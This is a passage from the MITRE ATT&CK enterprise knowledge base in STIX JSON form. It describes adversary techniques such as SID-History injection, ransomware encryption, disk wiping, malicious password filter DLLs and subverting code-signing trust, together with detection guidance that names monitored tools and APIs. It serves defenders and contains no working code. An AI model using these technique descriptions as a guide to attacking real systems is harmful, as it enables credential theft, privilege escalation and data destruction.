unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause. For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\n\nMonitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Modification","Network Traffic: Network Traffic Flow","File: File Creation","Network Traffic: Network Traffic Content","File: File Access"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Alain Homewood, Insomnia Security","Vincent Le Toux"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023","type":"attack-pattern","created":"2020-02-18T18:34:49.414Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1134.005","url":"https://attack.mitre.org/techniques/T1134/005"},{"url":"https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx","description":"Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.","source_name":"Microsoft SID"},{"url":"https://msdn.microsoft.com/library/ms679833.aspx","description":"Microsoft. (n.d.). Active Directory Schema - SID-History attribute. Retrieved November 30, 2017.","source_name":"Microsoft SID-History Attribute"},{"url":"https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems","description":"Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017.","source_name":"Microsoft Well Known SIDs Jun 2017"},{"url":"https://technet.microsoft.com/library/ee617241.aspx","description":"Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved November 30, 2017.","source_name":"Microsoft Get-ADUser"},{"url":"https://adsecurity.org/?p=1772","description":"Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017.","source_name":"AdSecurity SID History Sept 2015"},{"url":"https://msdn.microsoft.com/library/ms677982.aspx","description":"Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November 30, 2017.","source_name":"Microsoft DsAddSidHistory"}],"modified":"2021-02-09T15:49:58.414Z","name":"SID-History Injection","description":"Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nWith Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Examine data in user’s SID-History attributes using the PowerShell <code>Get-ADUser</code> cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015) Also monitor account management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)\n\nMonitor for Windows API calls to the <code>DsAddSidHistory</code> function. (Citation: Microsoft DsAddSidHistory)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["User Account: User Account Metadata","Active Directory: Active Directory Object Modification","Process: OS API Execution"],"x_mitre_permissions_required":["Administrator","SYSTEM"]},{"x_mitre_platforms":["Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166","created":"2020-10-19T16:08:29.817Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1599","url":"https://attack.mitre.org/techniques/T1599"},{"source_name":"Kaspersky ThreatNeedle Feb 2021","url":"https://securelist.com/lazarus-threatneedle/100803/","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may bridge network boundaries by compromising perimeter network devices or internal devices responsible for network segmentation. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nDevices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks.  They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections.  Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications.  To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.\n\nWhen an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance.  By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001). Adversaries may also target internal devices responsible for network segmentation and abuse these in conjunction with [Internal Proxy](https://attack.mitre.org/techniques/T1090/001) to achieve the same goals.(Citation: Kaspersky ThreatNeedle Feb 2021)  In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.","modified":"2022-04-19T21:44:17.057Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Network Boundary Bridging","x_mitre_detection":"Consider monitoring network traffic on both interfaces of border network devices with out-of-band packet capture or network flow data, using a different device than the one in question.  Look for traffic that should be prohibited by the intended network traffic policy enforcement for the border network device.\n\nMonitor the border network device’s configuration to validate that the policy enforcement sections are what was intended.  Look for rules that are less restrictive, or that allow specific traffic types that were not previously authorized.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow"],"x_mitre_system_requirements":[],"x_mitre_defense_bypassed":["Router ACL","Firewall"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows","IaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Oleg Kolesnikov, Securonix","Mayuresh Dani, Qualys","Harshal Tupsamudre, Qualys","Travis Smith, Qualys"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","created":"2019-03-15T13:59:30.390Z","x_mitre_version":"1.3","external_references":[{"source_name":"mitre-attack","external_id":"T1486","url":"https://attack.mitre.org/techniques/T1486"},{"source_name":"CarbonBlack Conti July 2020","url":"https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/","description":"Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."},{"source_name":"FireEye WannaCry 2017","url":"https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html","description":"Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019."},{"source_name":"Rhino S3 Ransomware Part 1","url":"https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/","description":"Gietzen, S. (n.d.). S3 Ransomware Part 1: Attack Vector. Retrieved April 14, 2021."},{"source_name":"NHS Digital Egregor Nov 2020","url":"https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary","description":"NHS Digital. (2020, November 26). Egregor Ransomware The RaaS successor to Maze. Retrieved December 29, 2020."},{"source_name":"US-CERT Ransomware 2016","url":"https://www.us-cert.gov/ncas/alerts/TA16-091A","description":"US-CERT. (2016, March 31). Alert (TA16-091A): Ransomware and Recent Variants. Retrieved March 15, 2019."},{"source_name":"US-CERT NotPetya 2017","url":"https://www.us-cert.gov/ncas/alerts/TA17-181A","description":"US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019."},{"source_name":"US-CERT SamSam 2018","url":"https://www.us-cert.gov/ncas/alerts/AA18-337A","description":"US-CERT. (2018, December 3). Alert (AA18-337A): SamSam Ransomware. Retrieved March 15, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018)\n\nIn the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529), in order to unlock and/or gain access to manipulate these files.(Citation: CarbonBlack Conti July 2020) In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017) \n\nTo maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) Encryption malware may also leverage [Internal Defacement](https://attack.mitre.org/techniques/T1491/001), such as changing victim wallpapers, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as \"print bombing\").(Citation: NHS Digital Egregor Nov 2020)\n\nIn cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)","modified":"2022-04-19T17:59:45.105Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Data Encrypted for Impact","x_mitre_detection":"Use process monitoring to monitor the execution and command line parameters of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit. Monitor for the creation of suspicious files as well as unusual file modification activity. In particular, look for large quantities of file modifications in user directories.\n\nIn some cases, monitoring for unusual kernel driver installation activity can aid in detection.\n\nIn cloud environments, monitor for events that indicate storage objects have been anomalously replaced by copies.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["File: File Creation","File: File Modification","Cloud Storage: Cloud Storage Modification","Process: Process Creation","Command: Command Execution","Cloud Storage: Cloud Storage Metadata"],"x_mitre_system_requirements":[],"x_mitre_impact_type":["Availability"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b82f7d37-b826-4ec9-9391-8e121c78aed7","type":"attack-pattern","created":"2019-03-29T14:59:50.763Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1488","url":"https://attack.mitre.org/techniques/T1488"},{"source_name":"Novetta Blockbuster","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.","url":"https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"},{"source_name":"Novetta Blockbuster Destructive Malware","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.","url":"https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"},{"source_name":"DOJ Lazarus Sony 2018","url":"https://www.justice.gov/opa/press-release/file/1092091/download","description":"Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019."}],"modified":"2020-02-20T22:07:27.495Z","name":"Disk Content Wipe","description":"Adversaries may erase the contents of storage devices on specific systems as well as large numbers of systems in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Novetta Blockbuster Destructive Malware)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_detection":"Look for attempts to read/write to sensitive locations like the partition boot sector or BIOS parameter block/superblock. Monitor for unusual kernel driver installation activity.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_impact_type":["Availability"],"x_mitre_permissions_required":["User","Administrator","root","SYSTEM"]},{"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7","type":"attack-pattern","created":"2020-02-05T14:54:07.588Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","external_id":"T1553","url":"https://attack.mitre.org/techniques/T1553"},{"url":"https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf","description":"Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.","source_name":"SpectorOps Subverting Trust Sept 2017"},{"url":"https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/","description":"Ladikov, A. (2015, January 29). Why You Shouldn’t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.","source_name":"Securelist Digital Certificates"},{"url":"http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates","description":"Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.","source_name":"Symantec Digital Certificates"},{"url":"https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec","description":"Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.","source_name":"SpectorOps Code Signing Dec 2017"}],"modified":"2022-03-24T14:12:38.264Z","name":"Subvert Trust Controls","description":"Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.\n\nAdversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017) Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers. Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \"Hide Microsoft Entries\" and \"Hide Windows Entries\" are both deselected.(Citation: SpectorOps Subverting Trust Sept 2017) \n\nMonitor and investigate attempts to modify extended file attributes with utilities such as <code>xattr</code>. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. ","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Modification","Windows Registry: Windows Registry Key Creation","Command: Command Execution","Windows Registry: Windows Registry Key Modification","Module: Module Load","Process: Process Creation","File: File Metadata"],"x_mitre_defense_bypassed":["Application control","Anti-virus","Autoruns Analysis","Digital Certificate Validation","Process whitelisting","User Mode Signature Validation","Windows User Account Control"]},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jimmy Astle, @AstleJimmy, Carbon Black","Erika Noerenberg, @gutterchurl, Carbon Black"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0","type":"attack-pattern","created":"2020-01-30T14:40:20.187Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1548.004","url":"https://attack.mitre.org/techniques/T1548/004"},{"source_name":"AppleDocs AuthorizationExecuteWithPrivileges","url":"https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg","description":"Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges. Retrieved August 8, 2019."},{"source_name":"Death by 1000 installers; it's all broken!","url":"https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8","description":"Patrick Wardle. (2017). Death by 1000 installers; it's all broken!. Retrieved August 8, 2019."},{"source_name":"Carbon Black Shlayer Feb 2019","url":"https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/","description":"Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019."},{"source_name":"OSX Coldroot RAT","url":"https://objective-see.com/blog/blog_0x2A.html","description":"Patrick Wardle. (2018, February 17). Tearing Apart the Undetected (OSX)Coldroot RAT. Retrieved August 8, 2019."}],"modified":"2020-03-27T12:04:37.823Z","name":"Elevated Execution with Prompt","description":"Adversaries may leverage the <code>AuthorizationExecuteWithPrivileges</code> API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. \n\nAlthough this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse <code>AuthorizationExecuteWithPrivileges</code> to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Consider monitoring for <code>/usr/libexec/security_authtrampoline</code> executions which may indicate that <code>AuthorizationExecuteWithPrivileges</code> is being executed. MacOS system logs may also indicate when <code>AuthorizationExecuteWithPrivileges</code> is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Process: OS API Execution"],"x_mitre_permissions_required":["Administrator","User"],"x_mitre_effective_permissions":["root"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b85f6ce5-81e8-4f36-aff2-3df9d02a9c9d","type":"attack-pattern","created":"2020-10-02T16:46:42.537Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1592.003","url":"https://attack.mitre.org/techniques/T1592/003"},{"source_name":"ArsTechnica Intel","url":"https://arstechnica.com/information-technology/2020/08/intel-is-investigating-the-leak-of-20gb-of-its-source-code-and-private-data/","description":"Goodin, D. & Salter, J. (2020, August 6). More than 20GB of Intel source code and proprietary data dumped online. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:22:46.759Z","name":"Firmware","description":"Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.).\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).(Citation: ArsTechnica Intel) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118","type":"attack-pattern","created":"2020-03-16T15:33:01.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1573","url":"https://attack.mitre.org/techniques/T1573"},{"url":"http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840","description":"Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.","source_name":"SANS Decrypting SSL"},{"url":"https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html","description":"Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.","source_name":"SEI SSL Inspection Risks"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2021-04-20T19:27:46.650Z","name":"Encrypted Channel","description":"Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Vincent Le Toux"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b8c5c9dd-a662-479d-9428-ae745872537c","type":"attack-pattern","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1174","url":"https://attack.mitre.org/techniques/T1174"},{"url":"http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html","description":"Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017.","source_name":"Carnal Ownage Password Filters Sept 2013"},{"url":"https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/","description":"Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.","source_name":"Clymb3r Function Hook Passwords Sept 2013"}],"modified":"2020-02-11T19:06:18.818Z","name":"Password Filter DLL","description":"Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.\n\nBefore registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.\n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor for change notifications to and from unfamiliar password filters.\n\nNewly installed password filters will not take effect until after a system reboot.\n\nPassword filters will show up as an autorun and loaded DLL in lsass.exe. (Citation: Clymb3r Function Hook Passwords Sept 2013)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["Administrator","SYSTEM"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec","created":"2020-01-24T14:54:42.757Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1547.002","url":"https://attack.mitre.org/techniques/T1547/002"},{"source_name":"Graeber 2014","url":"http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html","description":"Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017."},{"source_name":"Microsoft Configure LSA","url":"https://technet.microsoft.com/en-us/library/dn408187.aspx","description":"Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015."},{"source_name":"MSDN Authentication 